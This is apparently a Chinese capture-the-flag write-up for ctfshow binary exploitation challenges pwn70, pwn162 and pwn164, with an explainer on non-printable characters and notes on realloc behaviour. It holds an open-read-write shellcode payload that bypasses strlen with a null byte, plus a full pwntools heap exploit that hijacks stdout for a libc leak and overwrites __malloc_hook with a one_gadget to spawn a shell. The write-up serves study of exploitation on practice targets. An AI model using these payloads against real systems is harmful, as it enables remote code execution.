ctfshow

pwn70 不可见字符

orw + 不可见字符绕过strlen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
orw = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')

payload = b'\x00\x10'+orw # \x10 是换行符
sl(payload)
itr()

不可打印字符(non-printable characters)是指在计算机字符集中不对应于可见符号或图形的字符。这些字符通常用于控制文本的格式、流控制、数据结构或者是特殊的功能,而不是直接表示人类可读的内容。

1. 不可打印字符的分类

不可打印字符通常可以分为以下几类:

  • 控制字符:这些字符用于控制设备(如打印机或终端)的行为。例如:

    • 换行(Line Feed, LF)\n(ASCII 10),用于换行。
    • 回车(Carriage Return, CR)\r(ASCII 13),用于返回到行首。
    • 制表符(Tab)\t(ASCII 9),用于插入水平制表。
    • 警告音(Bell)\a(ASCII 7),用于发出声音提示。
  • 终止字符:如 null 字符 \0(ASCII 0),常用于标记字符串的结束。

  • 特殊控制字符:如 ESC(ASCII 27),用于引入控制序列。

2. 不可打印字符的ASCII码

以下是一些常见的不可打印字符及其对应的 ASCII 码:

字符 描述 ASCII 码
NUL 空字符(null) 0
SOH 标题开始 1
STX 正文开始 2
ETX 正文结束 3
EOT 传输结束 4
ENQ 请求 5
ACK 确认 6
BEL 响铃 7
BS 退格 8
HT 水平制表符 9
LF 换行 10
VT 垂直制表符 11
FF 换页 12
CR 回车 13
SO 转换为旁路 14
SI 转换为内部 15
ESC 转义 27
DEL 删除 127

3. 应用场景

不可打印字符在计算机编程和文本处理中的应用非常广泛,包括但不限于:

  • 文本格式和控制:在终端或打印机输出时,控制字符用来格式化输出。
  • 数据结构:在某些数据结构中,特定的字符可能被用作分隔符或结束符。
  • 协议设计:在网络通信协议中,不可打印字符可能用于标记消息的开始和结束,或者表示特定的控制信息。

不可打印字符在安全中的作用

在安全场景中,不可打印字符经常被用作绕过过滤器和检查的手段。例如:

  • 缓冲区溢出攻击:攻击者可能会插入不可打印字符,以欺骗安全检查并执行恶意代码。
  • 注入攻击:在某些情况下,攻击者可能会通过注入不可打印字符来操纵输入,绕过输入验证。

pwn162

有些东西在早些版本是有缺陷的?

  • 远程环境:Ubuntu 16.04

思路:

首先明确在free时,程序会在free的chunk的fd处写0,并且show()函数无用所以要打stdout

  • 利用unsortedbin的特性在chunk上留下libc地址(通过chunk shrink),该chunk称chunk A
  • 利用程序的特性,部分覆盖使其1/16指向_IO_2_1_stdout_附近
  • fastbin_dup(partial write)使chunk A链入fastbin那么stdout附近的那个chunk(B)就也被链入了fastbin
  • 申请出chunk B修改stdout的flag->0xfbad1800 和 write_base的低位 -> \x00,并计算地址
  • 用realloc调整栈帧使one_gadget成立

为什么覆盖libc地址的低2字节为b”\xdd\x25”?

在gdb中查看_IO_list_all的地址,可以看到stdout,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> p (void*)_IO_list_all
$1 = (void *) 0x7f8fe0a6b540 <_IO_2_1_stderr_>
pwndbg> p/x &_IO_list_all
$2 = 0x7f8fe0a6b520
pwndbg> x/20gx 0x7f8fe0a6b520
0x7f8fe0a6b520 <_IO_list_all>: 0x00007f8fe0a6b540 0x0000000000000000
0x7f8fe0a6b530: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000
0x7f8fe0a6b550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b5a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f8fe0a6b620
0x7f8fe0a6b5b0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
pwndbg>
0x7f8fe0a6b5c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007f8fe0a6c770
0x7f8fe0a6b5d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f8fe0a6b5e0 <_IO_2_1_stderr_+160>: 0x00007f8fe0a6a660 0x0000000000000000
0x7f8fe0a6b5f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007f8fe0a696e0
0x7f8fe0a6b620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f8fe0a6b6a3
0x7f8fe0a6b630 <_IO_2_1_stdout_+16>: 0x00007f8fe0a6b6a3 0x00007f8fe0a6b6a3
0x7f8fe0a6b640 <_IO_2_1_stdout_+32>: 0x00007f8fe0a6b6a3 0x00007f8fe0a6b6a3
0x7f8fe0a6b650 <_IO_2_1_stdout_+48>: 0x00007f8fe0a6b6a3 0x00007f8fe0a6b6a3

因为我们要在stdout上写入,就必须把它申请出来,并且fastbin取出chunk是要检查size域的,所以我们必须要在stdout附近伪造chunk,一般在libc地址上伪造的chunk的size都为7f

通过观察发现如下:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x7f8fe0a6b620-0x43
0x7f8fe0a6b5dd <_IO_2_1_stderr_+157>: 0x8fe0a6a660000000 0x000000000000007f<--size
0x7f8fe0a6b5ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b5fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b60d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x8fe0a696e0000000
0x7f8fe0a6b61d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0x8fe0a6b6a3000000
0x7f8fe0a6b62d <_IO_2_1_stdout_+13>: 0x8fe0a6b6a300007f 0x8fe0a6b6a300007f
0x7f8fe0a6b63d <_IO_2_1_stdout_+29>: 0x8fe0a6b6a300007f 0x8fe0a6b6a300007f
0x7f8fe0a6b64d <_IO_2_1_stdout_+45>: 0x8fe0a6b6a300007f 0x8fe0a6b6a300007f
0x7f8fe0a6b65d <_IO_2_1_stdout_+61>: 0x8fe0a6b6a400007f 0x000000000000007f
...
pwndbg>

如上,在 0x7f8fe0a6b5dd 处可以很好的伪造size,后三位为 5dd 所以我们写libc低2字节为b”\xdd\x25”就有1/16的概率指向stdout附近。

最后再次通过fastbin_dup申请到__malloc_hook附近用one_gadget来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-04-30 19:26:43
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('pwn.challenge.ctf.show',28238)
else:
p = process(file_name)
elf = ELF(file_name)
#libc = elf.libc
libc = ELF('libc-2.23.so')
gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)


def add(size,name,message):
sla(b'Your choice : ',b'1')
sla(b"size of the daniu's name: ",str(size))
sla(b"daniu's name:",name)
sla(b"daniu's message:",message)

def mod(size,name,message):
sla(b'Your choice : ',b'1')
sla(b"size of the daniu's name: \n",str(size))
sa(b"daniu's name:\n",name)
sla(b"daniu's message:\n",message)

def delete(index):
sla(b'Your choice : ',b'3')
sla(b"daniu's index:",str(index))

offset = b"\xdd\x25"
##要打IO(hijack stdout)就要在fd或bk指针上留下libc值
##先free一个大的进入unsortedbin,再分配一个相对较小的就可以在它的fd bk上留下libc地址
add(0x20,b'aaaa',b'aaaa') #0
add(0x68,b'aaaa',b'aaaa') #1
add(0x68,b'aaaa',b'aaaa') #2
add(0x7f,b'aaaa',b'aaaa') #3
add(0x18,b'aaaa',b'aaaa') #4
#在chunk上留下libc地址
delete(0)
delete(3)
##利用程序的特性,部分地址覆盖使其1/16指向_IO_2_1_stdout_附近
mod(0x60,offset,offset) #5

##fastbin_dup在fastbin链上留下IOstdout附近的地址
##将其申请出改写
delete(1)
delete(2)
delete(1)
mod(0x68,b'\xd0',b'\xd0') #6
add(0x68,b'\xd0',b'\xd0') #7
add(0x68,b'\xd0',b'\xd0') #8
add(0x68,b'\xd0',b'\xd0') #9
payload = b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00'

sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: \n",str(0x68))
sa(b"daniu's name:\n",payload)
##接收地址并计算
data = l64()
print(hex(data))
libc_base = data - 0x3c5600
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[1]
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
sl(b'aaa')
leak('libc_base',libc_base)
leak('one_gadget',one_gadget)
leak('__malloc_hook',malloc_hook)
leak('realloc',realloc)

##fastbin_dup申请到__malloc_hook附近
##realloc()调整栈帧,one_gadget来getshell
delete(1)
delete(2)
delete(1)
add(0x68,p64(fake_chunk),b'aaaa')
add(0x68,b"a",b"a")
add(0x68,b"a",b"a")

add(0x68,b"a"*0x13+p64(one_gadget)+p64(realloc+0x6),b"a")
pause()
p.sendlineafter(b"Your choice : ",b"1")

itr()

pwn164

这题用的是realloc分配内存。

1
realloc(void* ptr, size_t size)

关于realloc有几个重要的知识点:

  • realloc(ptr,0)相当于free函数

  • realloc(0.size)相当于malloc函数

  • realloc(ptr,size)

    • newsize<size:进行分割,剩下的chunk如果大于等于MINSIZE则进行free

    • newsize<size:

      • next 为top且满足需求,直接从top切割
      • next为freechunk 且满足要求先合并(unlink)再切割
      • next不满足要求进行malloc(newsize),然后进行数据拷贝,free原chun

关于 realloc的详细介绍,看这位大佬的blog: realloc相关知识点

解题:

本题就两个函数一个realloc,一个free函数。很简单

在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的的chunk都会写在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢

利用思路:

主要利用基础:UAF,double free

注意到题目中是没有show类型的函数的,所以想进行地址泄露应该要靠IO_FILE攻击

难点:利用realloc进行堆块合并后,再利用UAF进行地址覆盖